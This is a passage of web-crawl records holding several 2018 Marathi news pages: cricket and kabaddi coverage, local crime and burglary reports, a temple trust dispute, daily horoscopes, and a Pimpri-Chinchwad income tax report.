लागणार आहे. एटीपी टूरवरील आशियाई टप्प्यात आपण सहभागी होवू शकणार नाही, असे ...Full Article\nहाय व्होल्टेज लढतीत डंका भारताचाच, पाकिस्तानची जिरवली\nहाय व्होल्टेज लढतीत भुवनेश्वर, केदार जाधवचे प्रत्येकी 3 बळी, रोहित शर्मा-धवनची फटकेबाजी निर्णायक वृत्तसंस्था/ दुबई भुवनेश्वर कुमार (3-15), केदार जाधव (3-23) यांची भेदक गोलंदाजी आणि रोहित शर्मा, (39 चेंडूत ...Full Article\nधवन म्हणतो, फक्त धावांचा ओघ आटला होता\nवृत्तसंस्था/ दुबई आशिया चषकात हाँगकाँगविरुद्ध लढतीपूर्वी त्याच्या बॅटमधून धावांचा ओघ जवळपास आटला होता. पण, तरीही भारतीय सलामीवीर शिखर धवनने आपण खराब फॉर्ममध्ये कधीच नव्हतो, असा दावा केला आहे. हाँगकाँगविरुद्ध ...Full Article\nबेंगळूर एफसीचे नेतृत्व सुनील छेत्रीकडे\nवृत्तसंस्था/ बेंगळूर या महिन्यात होणाऱया इंडियन सुपरलीग फुटबॉल स्पर्धेत बेंगळूर एफसी संघाचे नेतृत्व सुनील छेत्रीकडे सोपविण्यात आले आहे. या संघाकडून खेळण्याचा त्याचा हा सहावा मोसम आहे. गेल्या वषी बीएफसी ...Full Article\nचाचणीस नकार दिल्याने पिंकीच्या जागी रितूची निवड\nवृत्तसंस्था/ नवी दिल्ली भारतीय कुस्ती फेडरेशनवर नाराज असलेल्या पिंकी जांगराने वर्ल्ड चॅम्पियनशिपसाठी पुनर्चाचणी देण्यास नकार दिल्यामुळे 53 किलो वजन गटासाठी तिच्याजागी रितू फोगटची निवड करण्यात आली आहे. आशियाई स्पर्धेत ...Full Article\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00369.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.pudhari.news/news/Ahamadnagar/Shanishinganapur-Shaneshwar-presided-post-give-bhumata-brigade-Trupti-Desai/", "date_download": "2018-09-25T16:58:41Z", "digest": "sha1:EPP65RJSUNKX2IIWCGBZ6CJWCH6LHHGX", "length": 6225, "nlines": 36, "source_domain": "www.pudhari.news", "title": " ‘शनैश्‍वर’चे अध्यक्षपद भूमाता ब्रिगेडला द्या : देसाई | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Ahamadnagar › ‘शनैश्‍वर’चे अध्यक्षपद भूमाता ब्रिगेडला द्या : देसाई\n‘शनैश्‍वर’चे अध्यक्षपद भूमाता ब्रिगेडला द्या : देसाई\nसोनई/ शनिशिंगणापूर : वार्ताहर\nशनिशिंगणापूर देवस्थान सरकारने तत्काळ ताब्यात घ्यावे. तसेच मुख्यमंत्र्यांनी भूमाता संघटनेला अध्यक्षपद देऊन महिलेला अध्यक्ष करण्याची परंपरा सुरू ठेवावी. यासाठी मुख्यमंत्री देवेंद्र फडणवीस यांची भेट घेणार असल्याची माहिती भूमाता रणरागिणी बिग्रेडच्या तृप्ती देसाई यांनी शनिशिंगणापूर येथे बोलताना दिली. तसेच राजकीय व्यक्तींची देवस्थानवर नियुक्ती केल्यास आंदोलनाचा इशाराही देसाई यांनी दिला आहे.\nदेसाई यांनी आपल्या सहकार्‍यांसवमेत मंगळवारी (दि.4) दुपारी 2 वाजता शनिशिंगणापुरात येऊन शनी देवाचे चौथर्‍यावर जाऊन दर्शन घेतले. मंदिर परिसरात माध्यमांशी बोलतांना देसाई म्हणाल्या, संपूर्ण राज्यातील मंदिरांत दर्शनासाठी समानता असावी, याकरिता मोठे आंदोलन केले होते. त्याची सुरुवात शनिशिंगणापूरपासून केली होती. आमच्या आंदोलनामुळे देशातील महिलांना शनी चौथर्‍यावर जाऊन दर्शन घेण्याचा हक्क मिळाला. तसेच राज्यातील अनेक मंदिरांतील विविध प्रश्‍नांसाठी आमची संघटना लढत आहे. मंदिरात महिला पुजारी नेमावेत, दर्शन व्यवस्थेत समानता यावी, यासाठी आमचा लढा सुरू आहे.\nशनिशिंगणापूर देवस्थान सरकारने ताब्यात घेऊन सुमारे 2 महिने झाले आहेत. मात्र अद्यापही जुनेच विश्‍वस्त मंडळ काम पाहात आहे. सध्याचे अध्यक्ष व विश्‍वस्त मंडळ यांना कुठलेही धोरणात्मक निर्णय घेण्याचा अधिकार नाही. मग सरकार नवीन विश्‍वस्त मंडळ का निवडत नाही. नवीन विश्‍वस्त मंडळ निवडताना सरकारने सामाजिक कार्य करणार्‍या व्यक्तींना येथे स्थान द्यावे. राजकीय लोकांना विश्‍वस्त मंडळात स्थान दिल्यास आमच्या संघटनेमार्फत आंदोलन करण्यात येईल, असा इशारा देसाई यांनी दिला आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00370.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Sangli/robbery-in-Sangli-two-houses-were-looted/", "date_download": "2018-09-25T16:54:53Z", "digest": "sha1:FOKDKTAFUVQDXKCEIDGDDZYV63IXISS6", "length": 5473, "nlines": 36, "source_domain": "www.pudhari.news", "title": " सांगलीत दोन बंद घरे फोडली | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Sangli › सांगलीत दोन बंद घरे फोडली\nसांगलीत दोन बंद घरे फोडली\nशहरातील शंभर फुटी रस्ता परिसरातील अरिहंत कॉलनी तसेच विश्रामबाग येथील हनुमाननगर येथील दोन बंद घरे चोरट्यांनी फोडली. यामध्ये सोन्याचे दागिने, एलईडी टीव्ही यासह सव्वा लाखांचा ऐवज लंपास करण्यात आला. शनिवारी या दोन्ही घटना उघडकीस आल्या. याबाबत सांगली शहर, विश्रामबाग पोलिस ठाण्यात रविवारी नोंद करण्यात आली आहे.\nअरिहंत कॉलनीतील शिवराज मल्लाप्पा माळी (वय 20) यांनी सांगली शहर पोलिस ठाण्यात फिर्याद दिली आहे. माळी मूळचे नांद्य्राचे आहेत. अरिहंत कॉलनीतील घराला कुलूप लावून दि. 15 रोजी ते परगावी गेले होते. शनिवारी सायंकाळी चारच्या सुमारास ते परतल्यानंतर चोरीची घटना उघडकीस आली. चोरट्यांनी दरवाजाचे कुलूप तोडून आत प्रवेश केला. आतील कपाटात ठेवलेले 75 हजार रूपये किंमतीचे सोन्याचे दागिने लंपास केल्याचे दिसून आले. याप्रकरणी अज्ञाताविरोधात चोरीचा गुन्हा दाखल करण्यात आला आहे.\nहनुमाननगर येथील चोरीप्रकरणी नसिमा तौफीक मोमीन (वय 34) यांनी फिर्याद दिली आहे. मोमीन गुरुवारी रात्री सातच्या सुमारास घराला कुलूप लावून परगावी गेल्या होत्या. शनिवारी सकाळी पाचच्या सुमारास त्या परतल्यानंतर चोरीची घटना उघडकीस आली. दरवाजाचे कुलूप तोडून चोरट्यांनी आत प्रवेश केला. हॉलमधील एलईडी टीव्ही तसेच कपाटात ठेवलेले कानातील सोन्याचे झुमके, एलईडी लाईटच्या माळा असा सुमारे पन्नास हजारांचा ऐवज लंपास केला. याप्रकरणी अज्ञातांविरोधात चोरीचा गुन्हा दाखल करण्यात आला आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00370.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/category/horoscope/page/2", "date_download": "2018-09-25T17:44:28Z", "digest": "sha1:TFU3DZNELTBTSQQW72ZPWCCQPKPHTXXN", "length": 8704, "nlines": 50, "source_domain": "www.tarunbharat.com", "title": "भविष्य Archives - Page 2 of 60 - तरुण भारत | तरुण भारत", "raw_content": "\nआजचे भविष्य गुरुवार दि. 13 सप्टेंबर 2018\nमेष: नोकरीसाठी प्रयत्न करीत असाल तर त्यात यश मिळेल. वृषभः मैत्री असली तरीही जामिनकीच्या बाबतीत धोका पत्करु नका. मिथुन: नोकरी व्यवसायाच्या दृष्टीने लाभदायक योग. कर्क: मनातील काही गोष्टी प्रत्यक्षात साकारतील. सिंह: चुका सुधारल्यामुळे अडचणी संपतील, सर्व इच्छा पूर्ण होतील. कन्या: वाटाघाटी व करारात कार्यात भाग घ्याल, प्रवासाच्यादृष्टीने शुभ. तुळ: महत्त्वाच्या कामाची विभागणी केल्यास यशस्वी व्हाल. वृश्चिक: देवाधर्माच्या बाबतीत अपशब्द ...Full Article\nगणेशोत्सवाबाबत काही विचार करण्याजोग्या गोष्टी\n13 सप्टेंबरला गणेश चतुर्थी आहे. त्या अनुषंगाने काही महत्त्वाच्या बाबींचा खाली दिलेल्या आहेत, त्यांचे अनुकरण करणे हे हिंदूंचे कर्तव्य आहे. काही जण गणपती मूर्ती आवडली म्हणून मोठय़ा आकाराची आणतात, ...Full Article\nआजचे भविष्य मंगळवार दि. 11 सप्टेंबर 2018\nमेष: भूतबाधा, करणीबाधा वगैरे काल्पनिक भीतीने ग्रस्त व्हाल. वृषभः अति स्पष्टपणा नडेल, तिरसटपणा व्यक्तीकडून धोका. मिथुन: शत्रूपीडा, कोर्ट मॅटरमध्ये त्रास त्यादृष्टीने सावध राहा. कर्क: ज्यांना मदत केलात ते ऐनवेळी ...Full Article\nआजचे भविष्य सोमवार दि. 10 सप्टेंबर 2018\nमेष: शुभ कार्यातील अडथळे दूर होण्यासाठी प्रयत्न करा, यशस्वी व्हाल. वृषभः लक्ष्मीला अभिषेक करुन कुंकुमार्चन करा, आर्थिक लाभ होतील. मिथुन: पूर्वजांच्या दोषामुळे प्रगतीत अडथळे येतील. कर्क: प्रेमप्रकरणे अथवा प्रेमविवाहाचे ...Full Article\nमेष रवि, गुरुचा अंशात्मक लाभयोग होत आहे. नोकरीत महत्त्वाची कामे या आठवडय़ात पूर्ण करण्याचा प्रयत्न करा. सोमवार, मंगळवारी जरी कामात थोडय़ाफार प्रमाणात अडचणी आल्या तरी जिद्द सोडू नका. यश ...Full Article\nआजचे भविष्य शनिवार दि. 8 सप्टेंबर 2018\nमेष: जुनी प्रकरणे उकरुन काढू नका त्रास देतील, काळजी घ्या. वृषभः दूरचे प्रवास केल्यास फायदेशीर ठरतील. मिथुन: कोणाच्या भांडणात मध्यस्थी करायला जाल पण बदनाम व्हाल. कर्क: रखडलेले कोणतेही काम ...Full Article\nआजचे भविष्य शुक्रवार दि. 7 सप्टेंबर 2018\nमेष: विवाह व आर्थिक कामात यश मिळेल, वस्त्र अलंकार खरेदी कराल. वृषभः कुणाच्या तरी मदतीने वास्तू व वाहन होण्याची शक्यता. मिथुन: स्वतःची जागा होण्याच्या बाबतीत अनुकूल योग. कर्क: मुदतबाह्य ...Full Article\nतुमचे ग्रह आमचा अंदाज\nरामनाम जप सर्व तऱहेने तारक मंत्र दि. 4 ते 9 सप्टेंबर 2018 हल्लीचे जीवन अत्यंत धकाधकीचे झालेले आहे. बाहेर गेलेला माणूस घरी परत येईलच याची शाश्वती नसते. कोण आपल्यासाठी ...Full Article\nआजचे भविष्य मंगळवार दि. 4 सप्टेंबर 2018\nमेष: तांत्रिक क्षेत्रात असाल तर प्रगतीपथावर राहाल. वृषभः योग्य धोरण तर लक्ष्मीचा वरदहस्त राहील. मिथुन: वैवाहीक जोडीदारामुळे आर्थिक लाभ तसेच नोकरीचे योग. कर्क: राजकारणात गेल्यास टीकाटीपणीपासून दूर राहा. सिंह: ...Full Article\nआजचे भविष्य सोमवार दि. 3 सप्टेंबर 2018\nमेष: आर्थिक हानी, साध्या आजारासाठी भरमसाठ खर्च कराल. वृषभः पुढील घटनांची पूर्व सूचना मिळेल, दुर्लक्ष करु नका. मिथुन: मैत्रीचा फायदा होईल पण दुरुपयोग करु नका. कर्क: कार्यक्षेत्र बदलल्याने सर्व ...Full Article\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00370.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "https://mahasports.co.in/probable-line-up-for-dabang-delhi-in-pro-kabaddi-2017/", "date_download": "2018-09-25T17:05:50Z", "digest": "sha1:6MMQT2K4LSANCQB6O6QBEIMKHHYXY6OI", "length": 9600, "nlines": 64, "source_domain": "mahasports.co.in", "title": "प्रो कबड्डी: या ४ खेळाडूंच्या जीवावर दिल्ली होणार दबंग ! -", "raw_content": "\nप्रो कबड्डी: या ४ खेळाडूंच्या जीवावर दिल्ली होणार दबंग \nप्रो कबड्डी: या ४ खेळाडूंच्या जीवावर दिल्ली होणार दबंग \nप्रो कबड्डी ५व्या मोसमाला सुरुवात होण्यासाठी अगदी थोडे दिवस बाकी आहेत. यंदाचा मोसम खेळाडूंसाठी खूप मोठी संधी घेऊन आला आहे. या मोसमात प्रो कबड्डीमध्ये खेळणाऱ्या संघाची संख्या आठवरून बारा केली गेली आहे त्यामुळे जास्तीत खेळाडूंना आपले कौशल्य दाखवण्याची संधी मिळणार आहे. प्रो कबड्डीमध्ये दबंग दिल्ली असा संघ आहे ज्याला प्रेक्षकांकडून खूप मोठ्या प्रमाणावर पाठिंबा मिळत असतो असे असूनही या संघाला या स्पर्धेची सेमी फायनलही गाठता आलेले नाही.\nदबंग दिल्लीच्या खेळाडूंची दबंगगिरी स्पर्धेत अनेक वेळा चालते पण ते संघाला विजयी करून देण्यात कुठेतरी कमी पडतात आणि मोक्याच्या वेळी नांगी टाकतात. स्पर्धेच्या सुरुवातीला पहिल्या चार संघात असणारा दिल्लीचा संघ स्पर्धेच्या शेवटी तळाच्या चार संघात असतो. या संघाची मागील चारही मोसमातील कामगिरी अनुक्रमे ६,७,८,७ या क्रमांकांची राहिलेली आहे. प्रो कबडीच्या दुसऱ्या मोसमात तर स्पर्धेतील बेस्ट रेडर आणि बेस्ट डिफेंडर संघात असूनदेखील दबंग दिल्लीच्या संघाला सातव्या क्रमांकावर समाधान मानावे लागले.\nदबंग दिल्लीचा संघ यावेळी डिफेन्समध्ये मजबूत भासत आहे कारण संघाकडे दोन स्पेशालिस्ट डिफेंडर आहेत, एक म्हणजे राईट कॉर्नर निलेश शिंदे आणि दुसरा म्हणजे राइट कव्हर बाजीराव होडगे. रेडींगमध्ये रवी दलाल हे मोठे नाव आहे जे दबंग दिल्लीची वाटचाल सेमी फायनल पर्यंत घेऊन जाण्यासाठी उत्तम कामगिरी करू शकतो. पण पहिल्या मोसमानंतर रवी दलाल आपला खेळ उंचावू शकला नाही.\nदबंग दिल्ली संघाची खरी ताकद आहे त्यांचा कर्णधार मिराज शेख. मिराज आपल्या रेडींग आणि डिफेन्सिव्ह खेळाने दबंग देखील एकहाती विजय मिळवून देऊ शकतो आणि तो यावर्षी दिल्लीचा कर्णधार असणार आहे. मिराजला प्रो कबडीमध्ये सलग चार वर्ष खेळण्याचा अनुभव पण आहे आणि तो इराणच्या राष्ट्रीय कब्बडी संघाचा कर्णधार असल्याने कर्णधारपदाचा देखील अनुभव आहे. मिराजने भारतामध्ये झालेल्या विश्वचषकात इराण संघाला अंतिम फेरीत घेऊन आला होता तशीच कामगिरी त्याने दिल्ली संघासाठी करावी अशी अपेक्षा दिल्ली संघाचे पाठीराखे करत आहे.\nदिल्ली संघातील हे चार खेळाडू दबंग दिल्लीला सेमी फायनल पर्यंत घेऊन जाऊ शकतात.\n२ मिराज शेख -(कर्णधार)ऑलराऊंडर\n३ बाजीराव होडगे -राइट कव्हर\n४ निलेश शिंदे-राइट कॉर्नर\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00370.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://pclive7.com/%E0%A4%B9%E0%A4%BF%E0%A4%82%E0%A4%9C%E0%A4%B5%E0%A4%A1%E0%A5%80%E0%A4%A4-%E0%A4%86%E0%A4%AF%E0%A4%9F%E0%A5%80-%E0%A4%87%E0%A4%82%E0%A4%9C%E0%A4%BF%E0%A4%A8%E0%A4%BF%E0%A4%85%E0%A4%B0%E0%A4%9A%E0%A5%80/", "date_download": "2018-09-25T17:59:41Z", "digest": "sha1:AODGYE75H2THXF2KA7IWQLBYBCGAHYAS", "length": 6176, "nlines": 70, "source_domain": "pclive7.com", "title": "हिंजवडीत आयटी इंजिनिअरची आत्महत्या | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nHome पिंपरी-चिंचवड हिंजवडीत आयटी इंजिनिअरची आत्महत्या\nहिंजवडीत आयटी इंजिनिअरची आत्महत्या\nपिंपरी (Pclive7.com):- पिंपरी चिंचवड शेजारी असलेल्या हिंजवडी भागात राहणाऱ्या विद्यासागर पाथा या २५ वर्षीय आयटी इंजिनिअरने इमारतीवरून उडी मारून आपले आयुष्य संपवले. हिंजवडीच्या मेगापोलीश सोसायटीत ही घटना घडली. विद्यासागर पाथा हा मूळचा विशाखापट्टणम येथील होता. हिंजवडीतील एका बहुराष्ट्रीय कंपनीत नोकरी करत होता. त्याने इमारतीच्या सहाव्या मजल्यावरून उडी मारून आपले आयुष्य संपवले.\nविद्यासागर पाथाला तातडीने रूग्णालयात दाखल करण्यात आले. मात्र डॉक्टरांनी तिथे त्याला मृत घोषित केले अशी माहिती पोलिसांनी दिली. विद्यासागर पाथाची सुसाइड नोटही पोलिसांना मिळाली आहे. मात्र आत्महत्येचे कारण काय आहे ते अद्याप समजू शकलेले नाही. कायदेशीर प्रक्रिया पूर्ण झाल्यावर विद्यासागरचा मृतदेह त्याच्या कुटुंबीयांच्या ताब्यात दिला जाणार आहे.\nकासारवाडीत महापौरांच्या हस्ते विसर्जन घाटाचे उद्घाटन\nनवाब मलिक यांच्या विरोधातील अब्रुनुकसानीचा दावा गिरीश बापट यांनी मागे घेतला\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00371.warc.wet.gz", "language": "mr", "language_score": 0.94, "bucket": "all"} {"url": "http://www.esakal.com/pune/pimpri-chinchwad-500-crore-increase-income-tax-40611", "date_download": "2018-09-25T17:41:49Z", "digest": "sha1:JE7A7JQQABPOQ3HDDKFKKYU22BEBPZKG", "length": 14841, "nlines": 182, "source_domain": "www.esakal.com", "title": "pimpri chinchwad 500 crore increase in income tax प्राप्तिकरात पिंपरी-चिंचवड शहरात पाचशे कोटींची वाढ | eSakal", "raw_content": "\nप्राप्तिकरात पिंपरी-चिंचवड शहरात पाचशे कोटींची वाढ\nमंगळवार, 18 एप्रिल 2017\nआर्थिक वर्षांत पिंपरी-चिंचवडमधून तीन हजार ३०० कोटींचा कर जमा\nपिंपरी - केंद्र सरकारने केलेल्या नोटाबंदीचा चांगला फायदा प्राप्तिकर खात्याला झाला असून, नुकत्याच संपलेल्या आर्थिक वर्षात पिंपरी-चिंचवडमधून प्राप्तिकर खात्याच्या तिजोरीत तीन हजार ३०० कोटींची रक्‍कम जमा झाली आहे. गेल्या वर्षीच्या तुलनेत त्यात ५०० कोटी रुपयांची वाढ झाल्याचे प्राप्तिकर खात्यातील वरिष्ठ अधिकाऱ्यांनी ‘सकाळ’ला सांगितले.\nआर्थिक वर्षांत पिंपरी-चिंचवडमधून तीन हजार ३०० कोटींचा कर जमा\nपिंपरी - केंद्र सरकारने केलेल्या नोटाबंदीचा चांगला फायदा प्राप्तिकर खात्याला झाला असून, नुकत्याच संपलेल्या आर्थिक वर्षात पिंपरी-चिंचवडमधून प्राप्तिकर खात्याच्या तिजोरीत तीन हजार ३०० कोटींची रक्‍कम जमा झाली आहे. गेल्या वर्षीच्या तुलनेत त्यात ५०० कोटी रुपयांची वाढ झाल्याचे प्राप्तिकर खात्यातील वरिष्ठ अधिकाऱ्यांनी ‘सकाळ’ला सांगितले.\nपिंपरी-चिंचवडमध्ये गेल्या वर्षी दोन हजार ८०० कोटी रुपयांचा कर प्राप्तिकर खात्याकडे जमा झाला होता. यंदा ही रक्‍कम तीन हजार कोटी रुपयांच्या पुढे जाऊन पोचली आहे. कराची रक्‍कम वाढत असताना दुसरीकडे नवीन करदात्यांच्या संख्येत १५ ते २० टक्‍क्‍यांनी वाढ झाली आहे. त्यात व्यावसायिक आणि उद्योजकांची संख्या मोठी आहे.\nकेंद्र सरकारने ८ नोव्हेंबर २०१६ ला जुन्या पाचशे आणि एक हजार रुपयांच्या नोटा चलनातून बाद केल्या. त्या अगोदर सप्टेंबर महिन्यामध्ये काळा पैसा जाहीर करण्यासाठी केंद्र सरकारने ‘इन्कम डिक्‍लरेशन स्कीम’ जाहीर केली होती. त्या वेळी अनेकांनी या योजनेचा लाभ घेतला होता.\nप्राप्तिकर विवरणपत्र दाखल न करणाऱ्यांनी या वेळी विवरणपत्र भरले होते. नोटाबंदी झाल्यानंतर आतापर्यंत प्राप्तिकर खात्याकडे विवरण पत्र न भरणाऱ्या अनेकांनी ते दाखल केले. त्यामुळे कराची रक्‍कम आणि नवीन करदात्यांच्या संख्येमध्ये लक्षणीय वाढ झाली आहे. पिंपरी-चिंचवडमधून जमा झालेल्या तीन हजार ३०० कोटी रुपयांच्या रकमेत व्यक्‍तिगत मंडळींची संख्या अधिक असल्याचे त्यांनी नमूद केले.\nप्राप्तिकर खात्याने पिंपरी-चिंचवडसाठी तीन हजार ३०० कोटी रुपयांचे उद्दिष्ट दिले होते, ते पूर्ण झाले आहे. प्राप्तिकर खात्याने गेल्या वर्षी राबवलेल्या काही योजनांमुळे ते पूर्ण करणे शक्‍य झाल्याचे अधिकाऱ्यांनी स्पष्ट केले.\nपुणे विभागात ४२ हजार कोटी जमा\nप्राप्तिकर खात्याच्या पुणे विभागाला २०१६-१७ या आर्थिक वर्षासाठी ४२ हजार २०० कोटी रुपयांचा प्राप्तिकर जमा करण्याचे उद्दिष्ट देण्यात आले होते, ते पूर्ण झाले आहे. गेल्या वर्षी पुणे विभागात ३६ हजार कोटी रुपयांचा प्राप्तिकर जमा झाला होता. या वर्षी त्यात १८ टक्‍क्‍यांची वाढ झाली आहे. प्राप्तिकराच्या रकमेत वाढ होत असताना याठिकाणी नवीन करदातेदेखील वाढले आहेत.\nबीडमध्ये घर परवान्यावर शाळा बांधकाम ; गुन्हा दाखल\nबीड : नगर पालिकेकडून घराच्या बांधकामाचा परवाना घेऊन शहरातील अजिजपुरा भागात शाळेचे बांधकाम केल्याचे स्वच्छता विभागाच्या पाहणीत समोर आले आहे....\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nबऊर शिवारात आढळला बिबट्या\nहिंगोली : कळमनुरी तालुक्यातील बऊर शिवारामध्ये बिबट्याने एका बैलाचा फडशा पाडल्यानंतर वन विभागाने लावलेल्या कॅमेऱ्यात मंगळवारी 